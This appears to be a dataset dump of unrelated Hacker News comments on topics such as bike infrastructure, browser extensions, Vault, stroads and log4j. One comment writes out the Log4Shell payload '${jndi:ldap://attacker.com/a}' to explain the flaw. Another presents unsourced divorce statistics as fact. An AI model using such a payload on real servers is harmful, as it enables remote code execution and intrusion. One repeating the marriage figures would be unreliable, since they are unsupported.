skysight-inc/HackerNews huggingface dataset:
I used to agree that these things take a long time, but since the pandemic my local council in Ireland has acted very quickly to build excellent bike infrastructure and curtail car access to village spaces [1]. Many roads got changed to one-way, to make way for segregated bike lanes. Pre-pandemic, there was dallying for years over building this stuff, but now its there, and the world hasn't imploded for motorists, and local businesses and residents are 99% very happy.

Of course when local government doesn't have the will it won't happen, but if they do, it can happen very quickly.

[1] https://www.dlrcoco.ie/en/civic-amenities-urban-design/dlr-c...
Aye. And https://github.com/GoogleChromeLabs/text-fragments-polyfill will work for any browsers lacking a native implementation.
I see your point, but do all those network level improvements mean much to the end user when so many critical services live in datacenters owned by 1 company? Many of which in a single region on the east coast, that goes dark at least a couple times a year for hours on end?
I'd say blockchain naming and the system you describe are still both centralized. The authorities are distributed, but they're still collectively responsible for deciding on a single coherent root.

Compare with systems that don't revolve around making any coherent global view, like Petnames. In the context of Zooko's triangle - do the human readable name lookup once as part of a manual process, and then persist the relationship as decentralized/secure but not human-readable.
Last time I tried the jit or purge mode, some classes were missing randomly each build and broke my site. (I followed their purge rules very carefully).

The worst thing is it ONLY happens on the production build.

I like Tailwind CSS and I really hope they make it stable.
I see a GitHub Advisory being made at https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
Oh wow, that's pretty handy. I hadn't seen that before, either.
I wouldn't agree that you always marry the "wrong" person. I will admit that truly happy long-term marriages are exceedingly rare, an educated estimate I have read is that it is maybe about 10%. Then we have the well-known statistic that about 50% of marriages end in divorce. About 90% of those divorces are initiated by the woman, and in most of those cases the man ends up paying the woman while have access to his children diminished. The 40% that don't get divorced despite being unhappy are "making the best of it," as you say. I suspect most of those people are "doing it for the kids." Chris Rock joked that those 40% simply "don't have the courage to leave." Given that 90% of divorces are initiated by women, this would imply that 85% of men do not have the courage to initiate a divorce regardless of how unhappy or dire the circumstances may be.

The "optimal" mathematical strategy described in the article is also known as the "Secretary problem" and is definitely something worth pondering. The TLDR of the post is that, if you believe that you can attract up to 8 candidate partners, then you should pass on the first 3 candidates and then only stop when the next candidate is better than all prior ones. If you think that can attract up to 100 partners, then the optimal strategy is to pass on the first 9 candidates. Now this is just a mathematical model, with lots of assumptions, but the crucial point that it conveys is the importance of evaluating and passing before deciding, if you want to improve your chances of having a happy marriage. Knowing know dismal the actual statistics are, and how great the risks are, it would behoove an unmarried man to proceed with extreme caution when considering
legally binding relationships or marriage contracts.
$80M seems like a lot for a developer tool with a team of 40. Why would they need so much? Besides general growth, the only thing I can see would be for cloud computation costs for AI training, but even that seems excessive. Perhaps they're going for a long runway?
If someone was pushing their PR to blogs, what better way to do so than tell people blogs are the most authentic?
As a fun note, I immediately recognized the location of this stroad pictured. I live relatively close to it. There's been a lot of new development there recently. They just redeveloped a large chunk of the area including launching a major Costco and an Amazon Fresh.

I would honestly say it's a pretty healthy travel thoroughfare. It gets backed up during rush hour, but even interstates do here, so that's not unusual.
Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect it to do. Is the part in the sample code where the user's input is output back to them part of the exploit? If so how does it fit into the attack? What will the attacker see beyond the string they originally sent as input?

Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.
I agree it shouldn't be available just to people like us. My assumptions here are twofold, one Google doesn't want to deal with fallout from users being harmed in anyway by an extension installed from their ecosystem. It could have real monetary and regulatory impact on them. Two, this benefits their ad business by reducing how thoroughly ads can be blocked.

I think browsers should be moved away from for profit organizations to separate non corporate stewardship. With that you remove the overall susceptibility to fallout and can try to give more freedom over the features a browser has or how deeply extensions can integrate, for everyone. You also obviously remove the immediate monetary incentive to restrict freedoms.
This is great!

I knew about a number of these tricks, beforehand, but a lot are new to me.

Thanks!
It does not allow request blocking as that has been understood in the context of extensions until now

It is not a question that V3 breaks the gold standard privacy protecting extension.
They’re no longer interested in anything from the pre-microsoft days.
In fact, isn't torrent magnet links exactly this kind of a system? You can locate files on thousands of peer systems, without using a centralized tracker.
This is FUD, it is being used very widely. I'm sure it has bugs but what doesn't.
apparently you didnt bother you read my comments on the linked issue, as well as the multiple issues I linked to it, including one that I opened myself [1]. My own issue was closed as wont fix.

1. https://github.com/mozilla-mobile/fenix/issues/20647
cue export --out json | tf apply

This is now my preferred method
Obviously if your app is compromised all its secrets are too. Hopefully one doesn’t pull the entire secrets backend to a single app and has audit logs to assess the actual impact and what else needs to be rotated. Also Vault is not just about kv secrets, there’s also pki, ssh and more
A big, climate controlled, pedestrian-only space packed full of different kinds of shops isn't pedestrian-friendly? Give me a break. On the subjective side I think a lot of them look pretty nice.
Is it in dispute that google added an intentional delay? If it's not, then it doesn't really matter what else comes out.
> Virtue signaling about what though?

Is this a deliberate strawman?

In a place like SF there's a lot of pressure to conform, and it's not in a pro-gun right-leaning trajectory. So what I mean to say is there's plenty of presentation of conformity, and it's often inauthentic. The stakes are high in a place like SF. People will keep their mouth shut or even fly the opposition's flag in the interests of preserving/increasing their salaries and stock refreshes until they can GTFO with their spoils in tow.
Did you look at it? Half of it is test and license headers plus the fix involves adding a whitelisting and filtering code.
The account is not the problem for me. It's being forced to create and name a new project for something that I intended to be a throwaway (like a python playground). Now I just open the same project over and over, deleting whatever the file contents were from the last time.
I 100% agree that for repairing stuff and sports related topics that videos help a lot. When I used to work on my car it was helpful to see how things were typically done and then when I read the repair manual it filled in the gaps of knowledge because I knew the way it is usually done. When I was doing a lot of power lifting it was really helpful to learn from video how to do lifts safely and correctly. Then as I went from lifting to cycling and eventually to endurance running it provided me a way of learning good form by watching a real human explain and demonstrate instead of just imitating what I see in real life.

Sometimes though technological tutorials/videos end up being this 80% junk to 20% treasure ratio for me. However, that 20% is stuff I have watched very intently and actually learned something.
The whole thing is assuming you can only date/interview one person at a time. Taking time as finite, the question of N is more about how long it takes you to evaluate a candidate.

Brides.com says that most people date 1-3 years before proposing. Shortest I’ve ever broken up with someone is a few months so that should probably be shortened a bit. CDC.gov says the mean age or marriage is a touch under 30. If that is the first third, our dating age is about 20-50, which is probably a bit too wide if kids are on the table. So I’m going to say N is somewhere between 10-50, with the lower end of the range much more likely for.
tl;dr Extensions with embedded spyware will no longer be able to record all of your web use. Malicious ones that steal credentials will be more easily identified. These types of extensions are installed far, far more than ad blockers.
Set to autouseal with a transit or cloud (or hms if you pay them $$$) and you don’t need to use sss unless to recover root token (or if somebody leaves)
"shaping the future of tech"

So much hyperbole. It seems Wallpaper got a bit excited over this exclusive interview they landed :)
Unfortunately I don't think most users care. Give someone the choice between a cheap service with two nines (or even one) of reliability and a more expensive one with four, and the vast majority of people will go with the former. I mean, most ISPs in the US offer business connections with real SLAs but almost nobody is willing to pay that much for guaranteed bandwidth and uptime.
That's a neat link, thank you. Nice to see companies being transparent with their revenue - it's motivating.
American malls are islands. Europes malls tend to be hearts of networks
The chances of one getting divorced vary greatly depending on one’s income and ethnicity:

https://journeys.dartmouth.edu/censushistory/2016/03/04/divo...

https://flowingdata.com/2021/05/04/divorce-rates-and-income/
You can use kubernetes auth in k8s which exchanges you a short lived token for your k8s service acc jwt
Significant Figures: Gaussian uncertainty, σ=2.5eN
I had thought about this as an option. It's a good idea, but maybe it's not promoting a good separation of concerns between the CI machinery and the source control system.
> You must be thinking about Alpha

Yes, unfortunately I couldn't correct it. I wish HN allowed corrections for weeks rather than hours!

Hmm, as I understood it alpha was circulating in the US in December, but perhaps you are correct that it didn't actually surge until later?
Thoughts about the iron flow batteries from ESS? They're using an iron flow chemistry that doesn't require exotic stuff. Looks like they've been testing for a while at a bunch of sites, and brought their first 'real' non-test customer online this fall.

On paper to a layman, they look perfect for at least some applications. Very cheap and easy to build the "stacks", almost completely nontoxic/safe, and relatively easy to scale (I think they don't scale indefinitely with liquid tank size...that the plate surface area also matters?)
i miss the much-maligned telnet :( perfect for uncritical fun stuff like this.
Given the rather large number of Polish Americans, I would think finding people who are fluent in English and Polish wouldn't be all that hard.
Inter-seasonal heat storage is a thing, albeit rare.

https://hn.algolia.com/?query=dlsc%2Eca&type=comment
Ideally you would have connections with people in the media developed over a long period of time or know some people who do.

Barring that you need something really newsworthy. You should read or watch the news and keep track of the names of the bylines. Try to understand what those people think is newsworthy and give them what they need to produce their product.

You can cold pitch anyone with a byline once, so it had better be good.

Be "notorious". You could be on TV tomorrow if your murdered your cofounder.

Thou shalt not kill, but here is an original marketing hack

https://entrepreneurshandbook.co/the-staged-protest-that-kic...
Though I suspect you're being tongue-in-cheek, I don't think this sort of question is conducive to productive discussion or debate. It follows the pattern: "I think your idea X will result in negative consequence Y. So now I accuse you of wanting Y". Once you know about it, you'll see it everywhere, and also notice how it tends to shut down any chance of finding common ground or changing someone's mind.

A more charitable way is something like: "I think X will result in Y, which I doubt is something any of us want. Have you considered that potential consequence?"
Funnily enough I've just recently set up a minetest server and it's been quite an interesting learning experience. Heartily recommended. :)
Firebrick energy storage has been proposed! If one uses SiC bricks, which might act as their own resistive heaters, one could operate up to 1800 C.
You may see this as naive, but there was more confidence in Google (and big tech in general) to continue to "do no evil" in those days. I personally have never been upset with my firefox experience after their big re-write a few version back. The only benefits I see with chrome lately are when sites are clearly designed and tested only for Chrome. Not much of a benefit in the grand scheme of things, obviously.
If you're going to change your config, couldn't you just... not have forwarding?
“Standing Up for Us Plebs.” Amazon Leaders Reject Policy to Push Employees Out
They just rolled out att fiber into my neighborhood. I was surprised as I live in a older neighborhood. Have overhead power lines talked with att installer and he said that was the reason we go it. Went from 1 gig down 30 mbps upload cable for 100 a month to 70 for gig full up and down and they gave me 400 bucks for signing up. It is pretty awesome having a direct fiber line to the house. My brother lives in Santa Rosa California and is on the list to get 10 gig fiber from Sonic for 65 a month. Hopefully things are starting to change. Once he has it I was thinking of just doing rysnc between us for backup.
I understood this happened in a P3 lab. I would have expected a P3 lab would have better procedures to avoid being bitten by an infected mouse, especially since some P3 labs host experiments with viruses sometimes much more dangerous than sars-CoV-2, and that would be a disaster if such a virus escaped...
https://www.science.org/content/article/exclusive-controvers...
ahhh this is a very elegant solution. Haha I suppose mine is over-engineered
> YouTube has some of the best, highest quality free content available on the internet today.

OP's argument hinges on "vast majority of content" and then you rebute it with the narrowest possible list of examples. You just made a strawman of OP's claim.
The Birds Aren't Real movement isn't supposed to be funny. It's purpose is esoteric, in that it is a Gen Z response to fake news and conspiracy theory overload. Anyway, that's all in the article, which I'm sure you've read since you commented on it.

The one you linked to is probably a failed attempt at the same thing. The problem with the Ancient Rome anti-theory is that it very well can lead people astray on historical fact, whereas the Birds Aren't Real movement intentionally ensures none of their "facts" are believable. I would compare it with the Flying Spaghetti Monster, whereas the Rome video is straight up disinformation.
The negativity with this game is ridiculous. I have experienced 0 glitches in the multiplayer and the campaign is excellent. The issues everyone is having is with the multiplayer monetization which i dont care about since i dont spend money on cosmetics.

If you are spreading fud about glitches and the game being “broken” then find me one reputable news source reporting on these issues.
What you've never spent hours trying out n! orderings of requirements.txt until you get the results you want/can live with? You have not lived until you've done this. /s
It's narrative porn - shallow but engaging. How do you test that? Just replace the narrator and the entire value of Wendover productions disappears. Other channels are pretty good though.
That's been my thing, but I do nothing of interest.

Maybe 3.11 can make python packaging less of a beautiful disaster.
Court orders and regulations and etc. are the manifestations of government, and the mechanism by which humanity establishes social order. We... don't want to avoid court orders. We don't want to skirt regulations. These things exist for reasons.
One thing I wonder about with something like Roblox is if the thundering herd is worse for them. I bet most kids will try to log in hundreds of times before giving up.
Before posting a silly article like this, please consider the effect it might have on women in tech.
Yeah, I can't read it, but "millions" sound rather high to me. In 2019 there were 157 million American workers. That's expected to increase by 2 million in 2022, to 159 million workers. The number of workers is higher than it was, although perhaps that growth is lower than it would normally be, I don't know.

"Millions" does imply full percentage points of the workforce have long COVID. That sounds high to me, because it either means long COVID is pretty common or that a lot of people have gotten COVID.

It's entirely possible we're over-diagnosing it. The symptoms of long COVID overlap with practically every common condition out there, not to mention a lot of them can be stress induced. There's been a lot of stress going around, too.

I don't know if we'd expect to see an uptick in Social Security just yet. Unemployment was covering people up until fairly recently, and I believe is much easier to get.

More generally, I doubt the government will make it eligible for disability, or they'll limit it to extremely severe cases. I don't know that we can fiscally afford to not only lose whole digit percentages of the workforce, but to pay out benefits as well. I won't even pretend to be an economist, so I could be wrong, but it's not intuitive we can run the money printer like this in the face of declining productivity due to people dropping out of the workforce.

We're still not done yet, Omicron looks likely to infect a lot of people, including those who are vaccinated (and especially those who aren't boosted). If long COVID is as prevalent as the WSJ believes, letting people not work will be a big problem, and paying benefits will be unthinkable. If we're at millions of people now, we'll easily be at tens of millions by the time Omicron makes the rounds.
You're telling me that a stroad where, along a 1km/1mi stretch of mostly strip malls, of which >70% of the surface is parking spaces, is comparable to a street such as:

* https://www.google.com/maps/place/Queen+St+W+%26+Tecumseth+S...

That cycling and walking on a highway-like path is comparable, at all, to a pre-WW2 street?

Have you ever tried living life without a car—without even being driven by someone like you parents when you were younger—in an area where stroads are the basic building block of transportation?
The partisanship in this comment itself is absolutely bursting at the seams. It isn’t civil to draw lines and define reality in a way that your viewpoints about are simple common sense facts that everyone can agree on, whereas “their” viewpoints are fuming with blind partisan animus. Most of your items have plenty of room for disagreement in terms of interpretation of events, policy responses, values, and more.
“This Way For the Gas, Ladies and Gentlemen” by Tadeusz Borowski is a must read.

See: https://www.nybooks.com/daily/2021/09/12/the-world-of-tadeus...

Borowski was a political dissident imprisoned at Auschwitz, and he explained how anyone can normalize such an experience.

A new book with Tadeusz’s work has recently been published and translated into English called “Here in Our Auschwitz and Other Stories”.

You can view details here but it is also available on Amazon: https://yalebooks.yale.edu/book/9780300116908/here-our-ausch...
The discussion is the first 20 years of the 25 year process.
The issue is more the hypocrisy.

C++ is used to write literal missiles that kill civilians in the middle east, but you don't see the leaders of the C++ community who work for big surveillance / big military / big tech also LARP as American communists on Twitter while working for CIA operations (although, if I have understood it correctly, black lives do matter to the CIA, it's the brown ones they have issues with).
Those aren’t really related everyone can be running around doing their own thing (but slower) with a process - that’s usually a sign of leadership vacuum not absence of the process.
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably).

It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:

"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."

... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.

0: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
trying to avoid the trap you speak of: I've submitted a case to my corporate technology department with the permalink to Google's Reddit reply partly so the enterprise can't say they knew nothing about this defect (and I cc: my manager).
No split screen multiplayer?

Look half this game is nostalgia. Do people really have nostalgia for sitting alone in their basement?
stroads are miserable to walk through… usually large distances across large parking lots, too windy in the cold, too hot in the sun, bleak and depressing to look at, have many cars traveling at higher speeds, noise, air pollution… they’re not just ill-equipped, but unpleasant to people in the nature of how they’re shaped
In the physical world, I can't irrevocably lose something which represents my identity. Humans will always lose their private keys. There has to be a recourse for that if the system will be practical.
Your criticisms about the gameplay are very unique given criticisms of this game in general are almost always qualified by saying the core gameplay loop is good. Why dont you give a comparison of a gameplay you think plays better.
That's interesting, but what does it have to do with what I commented above? That comment got a few downvotes, and I don't really understand the connection between what I said and this article, but that usually means I'm not understanding something.

If you could clarify, I'd really appreciate that.
This is the continual tension between efficacy/safety. This approach would be similar to something like the PAL 0...0 issue[1] and is something that the military chain-of-command would bristle against aggressively I would think.

1. https://www.huffpost.com/entry/nuclear-missile-code-00000000...